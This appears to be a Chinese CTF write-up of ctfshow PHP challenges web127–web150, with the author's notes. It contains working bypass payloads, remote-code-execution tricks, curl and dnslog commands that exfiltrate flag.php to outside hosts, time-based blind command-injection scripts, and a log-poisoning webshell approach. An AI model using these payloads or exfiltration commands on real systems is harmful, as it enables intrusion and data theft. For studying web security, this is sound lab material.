function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}
}
if(waf($url)){die("嗯哼?");
}else{extract($_GET);
}
if($ctf_show==='ilove36d'){echo $flag;
}

逻辑没难点主要就是 $_SERVER['QUERY_STRING']会获取到什么 搜索发现

$_SERVER['QUERY_STRING'] 的结果就是url问号后面的部分 那这道题就简单了

知识点:点和空格还有[ 在变量名中是不可以存在的 到服务器会自动转换为下划线

还有一点大概率前端GET和POST中的+到服务器中就变为了空格 这个不一定 记住了就行

答案:?ctf show=ilove36d

第一点 虽然变量名中的_并且过滤了+ [ .  但是用最原始的空格即可或者%20 就能得到一个_

第二点 $_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。?ctf%5fshow=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

考察的知识点

  • call_user_func($f1,$f2) 函数 执行后会得到$f1($f2) 如果$f2为空则$f1()
  • 因为check函数过滤了数字和字母导致$f1变得不可控 知识点:gettext是php唯一有符号别名的函数别名为_
  • _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll  
  • gettext函数的作用就是原封不动的返回参数
  • get_defined_vars()函数返回所有已知的变量以及值 因为该文件已经包含了flag.php文件了$flag在本文件中也是能被get_defined_vars获取到的

所以答案为

?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}
}

考察知识点

stripos()函数查找子串在字符串中首次出现的位置 返回首个下标位置stripos() 是大小写不敏感的

readfile()函数 读取指定文件到缓冲区中 使用echo进行输出

方法一

我们构建一个目录穿越

先说答案?f=/ctfshow/../../../../var/www/html/flag.php 或者 ?f=../ctfshow/../../www/html/flag.php

解释其中一个?f=../ctfshow/../../www/html/flag.php

在上级目录中找一个ctfshow的目录下的上一级目录 依旧是原始的上一级目录也就是www下 再上一级目录中就有www了

方法二

使用过滤器 f变量直接获取flag.php内容 因为flag.php中存在ctfshow字符串所以也能绕过第二个if 

然后readfile读取一下 再用echo输出

?f=php://filter/ctfshow/resource=flag.php 

但是 这个过滤器加上一个base64编码 为什么能被输出出来 是被echo输出的嘛

本地测试一下加密的 发现两个echo输出的都是过滤器的原始样子 不知道怎么绕过if的 然后测试不加密的发现 虽然我们包含的web319.php中根本没有ctfshow 依旧能绕过if 并且注释echo语句 这个过滤器就没用了什么都不输出了 看来过滤器能绕过该if判断呀

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;
}

知识点

preg_match('/.+?ctfshow/is', $f) 就是匹配ctfshow的字符串 并且在该字符串之前要匹配一个或任意一个字符因为.+的存在(其中 . 匹配除了换行符以外的任意字符,+ 表示匹配一次或多次,? 表示非贪婪模式)这个非贪婪模式不用管

所以答案就是?f=ctfshow

数组也能绕过  ?f[]=任意字符

说实话这个数组绕过搜索后也不是很明白 就算报错返回false 那false依旧等于false 能执行if语句呀 为什么会绕过呢 我的理解是stripos因为数组的原因直接报错使得if语句直接就为false 经过我的测试发现我的理解是正确的 测试是我把false换为true 能绕过 去除===判断 依旧也能绕过

网上还有一种解释stripos应用于数组的时候会返回null null!==false/true 但if(null)会被认为语句不成立

stripos 匹配到了返回下标 没匹配到返回false 

0!==false

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;}

加入了将post中f转换为字符串的步骤 导致不能用上一题的数组绕过if语句了

两个if逻辑

第一个 匹配到ctfshow且最前面有任意一个字符 就会结束脚本

第二个 匹配不到36Dctfshow就会结束脚本

这样这个逻辑就范冲突了

如果f=ctfshow36Dctfshow 虽然绕过了第二个 但是第一个if语句就不会绕过

不能用正常想法去做这题

使用正则溢出 简单理解就是preg_match() 这个函数一但匹配大量字符串 他就不进行匹配了 直接返回false

如果超过100万个字符就能绕过该函数的匹配 直接返回false

专业解释是正则匹配中对回溯数和嵌套数进行了最大限制。这道题用到了最大回溯数(必须使用非贪婪模式?)

写个生成100万字符的脚本

<?php
$a=str_repeat('show',25000);
$b=$a.'36Dctfshow';
echo $b;

然后提交

web132

是一个页面 直接看教程

访问robots.txt  当前目录下存在一个admin


题在这里呢

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){  if($code == 'admin'){echo $flag;}  }
}

知识点

mt_rand(1,0x36D) 会生成1-877的随机整数

这道题考察点事 逻辑运算的执行顺序

if (a && b || c)

如果a b都为假 c为真 if语句也为真 因为有先后逻辑运算顺序

过程: a&&b=假  假||真=真 

所以只要传入code=admin username=admin 且password不为空即可

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}

最终目的要执行eval(substr($F,0,6)) 所以要让substr($F,0,6)返回我们需要获取flag的语句

shell_exec() 函数的输出结果仅作为函数的返回值,因此除非将其打印出来或者对其进行处理,否则不会直接在浏览器中输出shell_exec() 函数和反引号``一个意思  flag.php是多行,需要grep一下,其次不能含有特殊符号,所以tr设置一下返回结果只携带字母和数字

答案?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1

他截取完就变成了`$F`; == eval(shell_exec($F);)

因为$F 是`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1

所以就变成了

eval(shell_exec(`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1);)

但是不知道为什么我DNS没有外带出来和视频一模一样

这个

这个dnslog的问题 困扰了我和那就 现在是一个半月之后了

他截断 并且禁用了system 可以使用shell_exec 但是该函数没有回显 就使用外带 

这回没用dnslog 使用其他的两种方法 一种是vps 一种是requestbin 

这里有个很关键的问题使用这两种方法的时候 一次只能外带出一行数据 如果超过一行 什么数据都带不出来了

首先是requestbin方式外带

网站为:requestbin

先点击绿色的

显示了很多用法

我们不需要 直接使用curl http://requestbin.cn:80/1ddijp01 即可

本地尝试一下

刷新那个网站 就能获取到id=123 这个url中的 内容 这种方式其实是最简单的 使用vps监听也能达到该效果

演示结束

解释一下payload 这里面的+换成空格也可以 反正 不能和;挨着  跟截取6个字符有关 但是我感觉没啥影响呀 就算是挨着截取了 也没关系呀 难道是因为可能会报错?

过了一天发现应该就是报错所以第六个位置要用空格 例如 在php中 phpinfo();可以

phpinfo();q 就会报错虽然phpinfo依旧能执行 但是题目中使用嵌套 也就是说第一次的phpinfo是可以执行的 但是第二次是不可以执行的

?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`

这个顺序其实是我理解的 可能不对 但是基本是对的

?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
截取变为
`$F`;+ 
继续执行变为
``$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag``;+ 
然后 继续执行
首先执行分号前 先替换 执行分号后curl语句

现在上面这一整句都在eval中 这个时候 按顺序先执行红色的 红色的执行完(依旧是替换)后 执行橙色的 进行curl执行 到达p=后 识别出``然后执行cat语句 这个时候必须在cat前后加入反引号  能成功识别为这是一个shell语句 否则?p获取的是字符串cat

查看flag 必须使用grep一行一行输出

第二种方法vps  同理 

vps也分两种 一种获取值 第二种方法监听端口

第一种监听端口

第二种获取值 curl.php文件内容接收值

还有第三种方法 python脚本爆破

import requests
import time as t  # as重命名url  = 'http://1264c730-93a0-4f72-b5ee-103978fbc19f.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']result = '' # 结果集
for i in range(1,50):  #位置的第几位for char in alphabet: #某位置的字符是什么# 终于知道为什么 明明知道flag名字为什么还要这么写 这么写可以一个一个判断字符是什么 因为没有回显 只能延时判断payload = "if [ `ls  | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php# payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)try:start = int(t.time())r = requests.get(url+payload)end = int(t.time()) - startif end >= 3:result += charprint("Flag: "+result)breakexcept Exception as e:print(e)

群主师傅的方法 dnslog 我的dnslog不行 大概原因是dnslog本身的dns设置 给我映射到本地127了  使用requestbin即可

以上所有外带方法获取值的时候大括号这个特殊符号获取不到 过了十分钟后 我发现为啥有些字符获取不到了 某些个别字符在url中是不解析的 比如大括号 也就是说 他确实是获取到了大括号 但是通过url传过来的时候 要输出的时候不会讲该字符进行输出

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}

答案 ?_POST[key1]=36d&_POST[key2]=36d

解释:考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

133加强版

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}

第一种 
不用base64不行 当时不知道为什么 解码后发现是因为flag有两行 不是一行 超过一行带不出来数据
就算用base64 也会发现解码后不是完整的flag 数据也没带全这时 修改grepflag2即可
而且我发现如果不使用grep 确实能带出来 但是带出来的字节数应该有限制(记住限制就行) 

这里面过滤很多 只用'' "" / 都可以绕过限制
?F=`$F`; cur\l http://requestbin.cn:80/19wya6l1?p=`c\at flag.php|g\rep flag|b\ase64`

第二种
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;

第三种 群主大佬 依旧使用的是dnslog

这里说一下如果使用dnslog 一定要使用tr去除一下非法字符 在二级域名的位置如果有非法字符带不出来数据 但是使用requestbin的时候 虽然也是url的非法字符 但是其余字符都是可以带出来的

web136

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

又是一个无回显的命令执行exec

使用ls / | tee 1 能将ls输出的内容 写入1文件中 访问1就能下载该文件

发现有个f149_15_h3r3文件 

?c=cat /f149_15_h3r3 | tee 2 访问2 下载查看 出现flag

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);

一个魔术方法 一个静态方法(不用实例化就能调用)

不用实例化直接用类访问方法的格式为 类名::方法名

所以单位ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}
if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}
call_user_func($_POST['ctfshow']);

在上一题的基础了过滤了:冒号 另一种不需要实例化就能调用类方法的方式是

ctfshow[0]=ctfshow&ctfshow[1]=getFlag 就能演变成ctfshow.getFlag()

web139

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

过滤了太多 和web136一模一样 但是用136的方法做不出来 估计是服务器给限制了 教程说需要命令盲注 exec是一个无回显的命令执行

利用web136的方法不行,没有写入权限了。
?c=ls;sleep 3确实等待了一会,可以执行,没有回显,命令盲注。
这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意

获取当前目录下文件名的python脚本(因为用到延迟函数 所以受网咯波动影响 多尝试几次 以防结果有问题)

import requests
# 指定提交的url
url = "http://5d6d11e6-5ef5-4602-b63c-6606b218cb3e.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi "
# 定义一个字典
strings = "1234567890abcdefghijklmnopqrstuvwxyz_-}{"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 10 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for r in range(1,row):for l in range(1,length):for s in strings:tj = url+payload.format(r,l,s)# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环try:requests.get(tj,timeout=3)except:result+=sprint(result)break# 每一行比较完成获得结果后 在结果后加入空格 好区分result+=" "

得出当前目录下的flag文件为2=f149_15_h3r3

payload解释 if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi 

这是一个shell格式的脚本

ls / -1 能将结果分行显示  awk \"NR=={}\" 能选择指定行数 cut -c {} 能选择指定位数

为什么用反引号呢 反引号意思等于shell_exec 可以完成shell语句 将结果返回给if函数

最终结果被反引号 `...` 包裹,表示将这些命令的输出作为条件

然后和指定字符比较 如果比较成功 延迟4s

获取指定文件内容的脚本

import requests
# 指定提交的url
url = "http://2650b538-28df-4bbc-b8e5-542516a1a49c.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi "
# 定义一个字典 为了方便这个payload构造一个简单的
strings = "ctfshow123456789}{-abdeghijklonpqrtuvwxyz"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 48 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for l in range(1,length):for s in strings:tj = url+payload.format(l,s)# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环try:requests.get(tj,timeout=4)except:result+=sprint(result)break# 每一行比较完成获得结果后 在结果后加入空格 好区分
result+=" "

第二个脚本 有时间都要分析一下脚本

import requestsurl = 'http://e37a25ed-4427-4353-87d1-b421f8107792.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符for NR in range(1, max_NR): # 从第一行开始for c in range(1, max_c): # 从第一个字符开始for char in chars:try:requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码except:print(char, end = '') # 出现延迟输出字符breakprint()

这个flag前面基本没问题 最后两位获取的每次都不一样 难搞呀 过了一个月后继续尝试了一下 依旧不可以了 总有个别字符出问题 依旧是获取不到大括号 本来想着原因也是和133 135 一样 二级域名如果存在大括号根本带不出数据 但是url中存在大括号 大括号不会被输出出来 但是发现发现原因是因为

距离如果flag为ctfshow{123} {位置在8的位置 当l在8时 cut -c 8 的确获取到了{ 但是url中的if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 在获取完{后 而 {在url中是非法字符 不显示 所以这个时候语句就为了if [ `cat /f149_15_h3r3 | cut -c 8` ==  ];then sleep 5;fi  所以就无法判断{是否存在

重新再说一下 就是if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi  语句是当做url带入到服务器中的 带入服务器前变为if [ `cat /f149_15_h3r3 | cut -c 8` == \"{\" ];then sleep 5;fi  但是通过url带入服务器后变味了if [ `cat /f149_15_h3r3 | cut -c 8` == \"\" ];then sleep 5;fi  大括号通过url后 因为是非法字符服务器不识别 直接就变没了 这个时候{和空比较 所以比较不成功

妈的真开心 4/1又过了5天上定制班课的时候 我用第二个脚本尝试了一下成功了 真他妈不容易呀

有时间要研究一下到底什么原因 难道是网速的原因 还是脚本本身的原因

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}

接收连个参数f1和f2   通过正则匹配 字符串只能是数字和字母组成的且开头和结尾都是数字或字母

变量code的值为 f1(f2())的返回值 有个if的判断条件 必须保证 intval($code)与ctfshow相等 这是一个弱类型的比较 当数字与字符串比较时 会将字符串转换为0  intval函数会将字符串转换为0

这样只要让$code为一个字符串即可  其实让intval函数返回0即可

答案

system(system())的返回值是NULL   通过intval函数 返回值就为0 

system(phpinfo())也行 因为返回一个html的页面 开头肯定是一个<  通过整形转换也会变为0

usleep(usleep())无返回值 通过类型转换也是0

getdate(getdate())

getdate()返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

当传递一个值给 is_numeric() 函数时,它会判断该值是否可以被解释为数字。如果该值是数字或数字字符串(包括整数、浮点数或科学计数法表示的数值),则函数返回 true,否则返回 false

正则 表示$3完全由非单词字符组成才可以进入if语句

  • ^ 表示字符串的开头。
  • \W 表示非单词字符(即除了字母、数字和下划线之外的字符)。
  • + 表示前面的模式可以出现一次或多次。
  • $ 表示字符串的结尾。

最后执行代码 $v1$v3$v2  然后返回回值给$code

也就说需要使用无字母RCE

本来想着说是使用下划线代表函数 但是下划线也不能被\w的正则匹配到 且还需要在环境中开启扩展 那就以飞字母数字以及下划线的字符构造字母

$v1$v2$v3

1+phpinfo()+1; 是可以运行的 因为是进行字符串构造 我们还需要改一下

1+('phpinfo')()+1 这里的phpinfo是字符串 上面的不是字符串 我们只能造出字符串所以用这种方式

就用位运算生成一个 phpinfo的字符串 这里+要变成- 因为+在传参的时候容易被编码为空格

变成1 ('phpinfo')() 1 是不行的 虽然$1$2为数字。但是1-('phpinfo')()-1可以

额外话为什么说异或后的GET不能被解析 但是测试时用的get能被解析

简单理解就是测试的时候 双引号里面是一个整体 里面的被执行 如果这时候

那就不行了 同理异或出来的就是字符串了 

而且还有一个关键点就是有return  eval里面的必须用双引号引起来 否则报错 

代码流程就是 先通过return返回异或运算的结果 eval再去执行这个返回的结果 之所以能进行运算 就是因为return的原因(我测试过了)

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}

太简单 0*任何数都为0

传参?v1=0 echo输出的file函数获取的信息 在源码中能查看到(ai搜索说是如果在源码才能看到 输出的内容包含了 HTML 标签或特殊字符 导致浏览器将内容解析成了 HTML 标签而不是直接显示)

web143

141pro版本

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

直接用yu师傅写的脚本 即可 在php脚本中更改一下生成的要求即可

生成payload

经过测试有的时候这个十六进制的可以不加引号 最好加上双引号以防报错

要记住减号换位乘号 因为在这题中过滤了减号

web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
function check($str){return strlen($str)===1?true:false;
}

使用check函数判断v3 必须让v3的字符串长度等于1才可以

对v2进行了严格匹配 

那v1=1 v3=-即可 v2依旧使用执行2(同样也是异或方式)的脚本生成payload(yu师傅的php脚本总感觉哪里有问题  有的时候好事有的时候不好使 python脚本没问题 等有时间了再看看 分析一波)

得到flag

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

144的plus版本

加减乘除全屏蔽了 以及异或^也被屏蔽了

加减乘除可以用三元运算?: 

不使用异或的运算 使用取反

使用yu师傅脚本也可以

web146

<?phphighlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

三目运算符也不行了 用|符号也是可以的或运算符号

运算使用|也是可以的

web147

<?php
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}

这里说一下突然想起来的随便举个例子比如题中所说$ctfshow 如果ctfshow值为phpinfo(); 因为是字符串 不能执行 必须前面是eval才可以 eval('传的值') 这样才可以 重新说一下 传值都是字符串 但是'phpinfo'()可以 'phpinfo()'不可以(我本地试了 这是在本地的解释)

回到题中 匹配a-z0-9_开头结尾的任意多的字符 在php中 函数以及类都在这个\命名空间里面 

例如正常些 echo可以  \echo也是可以的

然后正常函数一般没有两个参数 使用create_function这个构建匿名函数的函数 第一个参数为函数的参数 第二个参数为函数的函数体

比如

根据这道题第一个参数为空 也就代表无参也不报错 使用}封闭if语句传入phpinfo;/*使用注释注释后面的

这个时候我就有点蒙了 我这样可以 那为什么

我直接传?\phpinfo();}/* 就不能执行phpinfo 我记得之前练习的时候通过get直接传了phpinfo();可以呀 而且在上面我说了'phpinfo'() 可以 'phpinfo()' 不可以 为什么get传过来的phpinfo();字符串可以呢 因为前面有个eval!!!!

‘然后呢看到这题解我又蒙了 这没eval也照样能执行phpinfo();呀

总结 

直接GET传过来的phpinfo();不行 需要加上eval

本地直接'phpinfo();'也不行 php不让

这题这种可以执行 唯一的解释就是 比如传参为phpinfo(); 到服务器就变成了'phpinfo();'

然后}把'包进去了  后面注释把‘注释了 就变成了phpinfo();

记住上面的四行即可 还有一点就是eval必须在服务器上 直接传是不行的

终于理解为什么之前说的双层eval 服务器本身还有一个

这个时候我觉得都解释通了 但是 这为什么不行呢 很炸裂 这里我有一种解释不知道对不对 就是之所以get中的那种可以 是因为在服务器上那是直接接收的get 而这个post已经被操作好多次了 只能这么解释了哈哈

还有一种解释 就是用到了create_function()代码注入 第二个参数被认定为可以执行的方法 而第一个参数就是字符串 哈哈哈这么解释应该是更对的  基本就是这个解释了 研究了一个多小时了 真的很感慨 现在是2024/3/2晚上九点 马上回寝室了 结果弄出来了 每次都是

create_function('',$GET[1]) 等同于

function niming($funcname){

$GET[1]; 按理说这个接收过来的是字符串 但是因为create_function函数原因 会将字符串转换为方法也就是可执行的

}

web148

<?phpinclude 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}

唯一一点就是

eval("return $v1$v3$v2;");变为了

 eval($code); 一个意思 

第一个就是eval可以使return执行 从而进行了位运算以及位运算结果的函数执行

第二个直接就是进行位运算然后结果的函数执行 少了一个return

取反取消了使用异或即可构造出

('system')('ls');或者构造get_ctfshow_fl0g();也可以

或者

五点半

web149

<?php
error_reporting(0);
highlight_file(__FILE__);$files = scandir('./'); 
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}

该目录下只能存在index.php合格文件否则会删除  然后写数据到一个文件里 然后继续删除

那就把数据写到index文件中即可

再访问一次 他就提醒需要传入参数 这就代表成功了

伪协议也行一个意思

为什么用伪协议写进去的 是base64编码形式的数据也行呢? 因为过滤器以加密方式打开 写进去后 他也会以解密形式重新写入

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}

这道题其实代码有很多但是这题使用非预期的方式 

先在u-a中传入木马

isVIP为true ctf为日志路径 

1为执行的命令

web150plus

修复了非预期

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420937.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用面向对象的方法进行数据分析

项目从两个不同类型的文件&#xff08;文本文件和 JSON 文件&#xff09;读取销售数据&#xff0c;将其封装为 Record 对象&#xff0c;合并数据后&#xff0c;统计每天的销售总额&#xff0c;并通过 pyecharts 库生成一个包含每日销售额的柱状图&#xff08;Bar chart&#xf…

无线感知会议系列【1】【增强无线感知应用的鲁棒性】

前言&#xff1a; 这个是2021年 泛在可信智能感知论坛&#xff0c;汤战勇 &#xff08;西北大学物联网研究院 )教授的 一个讲座《wireless signals like WiFi, RFID and (ultra) sound as a powerful modality for ubiquitous sensing》 参考连接&#xff1a; 4.见微知萌—…

ollama 本地部署

ollama 本地模型部署 下载安装: [link](https://ollama.com/download)下载说明 部署使用在终端查看ollama是否安装完成终端查看ollama 命令说明查看当前支持下载的模型启动对话模式默认情况下&#xff0c;ollama启动了server 的api访问功能 外部 api访问使用postman网页版本for…

什么是Aware注入?

